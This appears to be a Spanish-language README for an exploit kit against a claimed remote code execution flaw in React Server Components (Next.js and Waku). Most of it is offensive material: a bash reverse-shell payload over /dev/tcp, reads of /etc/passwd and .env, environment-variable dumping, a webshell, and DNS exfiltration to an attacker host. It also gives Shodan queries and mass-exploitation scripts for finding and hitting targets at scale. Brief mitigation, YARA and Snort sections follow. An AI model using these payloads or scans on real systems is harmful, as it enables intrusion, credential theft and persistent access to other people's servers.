
Kit de explotación avanzado de RCE para vulnerabilidades de React Server Components. Incluye múltiples payloads preconstruidos, integración con Shodan para descubrimiento de objetivos y escaneo masivo para pruebas de penetración autorizadas.
Kit de explotación avanzado para vulnerabilidades de ejecución remota de código en React Server Components
Solo para pruebas de penetración autorizadas e investigación de seguridad
Características • Instalación • Uso • Integración con Shodan • Ejemplos • Aviso legal
Este kit explota una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en implementaciones de React Server Components (RSC), dirigido específicamente a:
La vulnerabilidad aprovecha la contaminación de prototipos y la deserialización insegura en el mecanismo de manejo de datos de RSC para lograr la ejecución de código arbitrario en el servidor.
React Server Components utiliza un formato de serialización personalizado para transferir datos entre el cliente y el servidor. La vulnerabilidad existe en la forma en que estos frameworks deserializan y procesan payloads especialmente diseñados.
Cadena de ataque:
$X:constructor:constructor para acceder al constructor de funciones_prefixAtacante → Payload RSC malicioso → Servidor objetivo
↓
Deserialización insegura
↓
Acceso a la cadena de prototipos
↓
Constructor de funciones
↓
⚠️ RCE LOGRADO ⚠️
| Payload | Descripción | Caso de uso |
|---|---|---|
console | PoC básico (console.log) | Verificar vulnerabilidad |
reverseShell | Reverse shell en Bash | Acceso inicial |
readFile | Leer /etc/passwd | Acceso al sistema de archivos |
envDump | Volcar variables de entorno | Extracción de credenciales |
execCommand | Ejecutar comandos del sistema | Ejecución arbitraria de comandos |
webshell | Desplegar webshell Express | Acceso persistente |
exfilPackage | Exfiltrar package.json | Análisis de dependencias |
dnsExfil | Exfiltración por DNS (OOB) | Explotación ciega |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# o
yarn install
# Instalar Shodan CLI
pip install shodan
# Inicializar con tu clave API
shodan init TU_CLAVE_API
node rsc-rce-exploit.js --target http://objetivo-vulnerable.com --payload console
# Iniciar listener
nc -lvnp 4444
# Ejecutar exploit
node rsc-rce-exploit.js \
--target http://objetivo-vulnerable.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://objetivo-vulnerable.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [opciones]
| Opción | Descripción | Requerido |
|---|---|---|
--target <url> | URL del objetivo | ✅ |
--framework <nombre> | Framework: next o waku | ❌ (por defecto: next) |
--payload <nombre> | Nombre del payload (ver abajo) | ✅* |
--custom <código> | Código JavaScript personalizado | ✅* |
--lhost <ip> | Tu IP (para reverse shell) | ❌ |
--lport <puerto> | Tu puerto (para reverse shell) | ❌ |
--command <cmd> | Comando a ejecutar | ❌ |
--endpoint <ruta> | Endpoint RSC personalizado (Waku) | ❌ |
--action-id <id> | ID de next-action personalizado | ❌ |
--list | Listar payloads disponibles | ❌ |
--verbose | Salida verbosa | ❌ |
--help | Mostrar ayuda | ❌ |
*Es requerido --payload o --custom
Ver todos los payloads:
node rsc-rce-exploit.js --list
Salida:
📋 Payloads disponibles:
console - PoC básico - Salida en consola
Código: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Leer /etc/passwd
Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Volcar variables de entorno
Código: console.log(JSON.stringify(process.env,null,2))
execCommand - Ejecutar comando del sistema
Código: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Escribir webshell en /tmp
Código: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Leer package.json
Código: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - Exfiltración por DNS
Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Ejecutar cualquier código JavaScript:
node rsc-rce-exploit.js \
--target http://objetivo.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js básico
http.component:"Next.js"
# Next.js con RSC
http.html:"__next" http.html:"RSC"
# Modo desarrollo de Next.js (más vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Next.js autoalojado (no en Vercel)
http.component:"Next.js" -org:"Vercel"
# Orientado geográficamente (Francia)
http.component:"Next.js" country:FR
# Combinación definitiva para pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Framework Waku
http.html:"waku" http.html:"RSC"
# Endpoints RSC de Waku
http.path:"/RSC/"
Usa el script de automatización proporcionado:
# Escanear y probar automáticamente
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# Con payload personalizado
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Buscar en Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > objetivos.txt
# 2. Probar cada objetivo
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Probando http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < objetivos.txt
La herramienta mass-exploit.js permite probar múltiples objetivos:
# Desde archivo
node mass-exploit.js --file objetivos.txt --payload console --threads 10
# Desde Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Guardar resultados
node mass-exploit.js --file objetivos.txt --payload console --output resultados.json
Ejemplo para pruebas de seguridad automatizadas:
# .github/workflows/security-test.yml
name: Prueba de seguridad RSC
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://ejemplo-vulnerable.com \
--payload console
Salida esperada:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Versión mejorada ║
║ Ejecución de código en React Server Components ║
╚═══════════════════════════════════════════════════════════╝
[*] Iniciando explotación...
[*] Apuntando al endpoint RSC de Next.js...
[*] URL: https://ejemplo-vulnerable.com
[*] Payload: console.log(7*7+1)...
[+] Estado de respuesta: 200
[+] Cuerpo de la respuesta:
50
[*] ¡Explotación completada!
node rsc-rce-exploit.js \
--target https://api.objetivo.com \
--payload envDump
Resultado:
process.env# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
node rsc-rce-exploit.js \
--target https://ejemplo-vulnerable.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://ejemplo-vulnerable.com \
--payload webshell
# Acceder al webshell
curl "http://ejemplo-vulnerable.com:9999/cmd?c=whoami"
# Configurar Burp Collaborator o tu servidor DNS
node rsc-rce-exploit.js \
--target https://ejemplo-vulnerable.com \
--custom "require('dns').resolve4('$(whoami).tu-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.ejemplo.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Leer archivos sensibles
node rsc-rce-exploit.js \
--target https://ejemplo-vulnerable.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
Actualizar el framework
npm install next@latest
# o
npm install waku@latest
Validar entrada
// Validar todos los payloads RSC
function validarPayloadRSC(payload) {
// Implementar validación estricta
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
Política de seguridad de contenido
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
Deshabilitar RSC en producción (si no es necesario)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-actionRegla YARA:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Regla Snort:
alert tcp any any -> any any (msg:"Intento RSC RCE"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| Rango de versiones | Estado | Notas |
|---|---|---|
| < 13.4.0 | ✅ No afectado | RSC no habilitado por defecto |
| 13.4.0 - 13.4.19 | ⚠️ VULNERABLE | RCE crítica |
| 13.5.0 - 14.0.4 | ⚠️ VULNERABLE | RCE crítica |
| 14.1.0 | ⚠️ VULNERABLE | Mitigación parcial |
| >= 14.1.1 | ✅ Parcheado | Actualización recomendada |
| Rango de versiones | Estado | Notas |
|---|---|---|
| < 0.18.0 | ⚠️ VULNERABLE | RCE crítica |
| >= 0.18.0 | ✅ Parcheado | Actualización recomendada |
¡Las contribuciones son bienvenidas! Por favor, sigue estas pautas:
git checkout -b feature/caracteristica-increible)git commit -m 'Añadir característica increíble')git push origin feature/caracteristica-increible)⚠️ AVISO LEGAL ⚠️
Este kit se proporciona ÚNICAMENTE PARA PRUEBAS DE SEGURIDAD AUTORIZADAS E INVESTIGACIÓN.
Al usar este software, aceptas:
1. Probar únicamente sistemas que poseas o para los que tengas permiso explícito por escrito
2. Cumplir con todas las leyes locales, estatales, nacionales e internacionales aplicables
3. No utilizar esta herramienta con fines maliciosos o actividades ilegales
4. Aceptar la responsabilidad total de tus acciones
Los autores y colaboradores:
- NO son responsables de ningún uso indebido o daño causado por esta herramienta
- NO fomentan ni aprueban actividades ilegales
- Proporcionan esta herramienta "TAL CUAL", sin garantía de ningún tipo
EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL.
Los infractores serán procesados con todo el rigor de la ley según:
- Computer Fraud and Abuse Act (CFAA) - EE. UU.
- Computer Misuse Act - Reino Unido
- Convenio Europeo sobre Ciberdelincuencia
- Y otras leyes aplicables en tu jurisdicción
ÚSALO BAJO TU PROPIO RIESGO.
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
MIT License
Copyright (c) 2024 Colaboradores de RSC RCE Exploit
Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga
una copia de este software y de los archivos de documentación asociados (el "Software"),
para utilizar el Software sin restricción, incluyendo, sin limitación, los derechos
de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender
copias del Software, y para permitir a las personas a las que se les proporcione el
Software hacer lo mismo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso se incluirán en todas las
copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O
IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A GARANTÍAS DE COMERCIABILIDAD,
IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS
AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN,
DAÑOS U OTRAS RESPONSABILIDADES, YA SEA EN UNA ACCIÓN CONTRACTUAL, AGRAVIO O
DE OTRO MODO, DERIVADAS DE, O EN CONEXIÓN CON, EL SOFTWARE O EL USO U OTRAS
OPERACIONES EN EL SOFTWARE.
⭐ Si esta herramienta te ayudó en tu investigación de seguridad, ¡dale una estrella! ⭐
Hecho con ❤️ por investigadores de seguridad, para investigadores de seguridad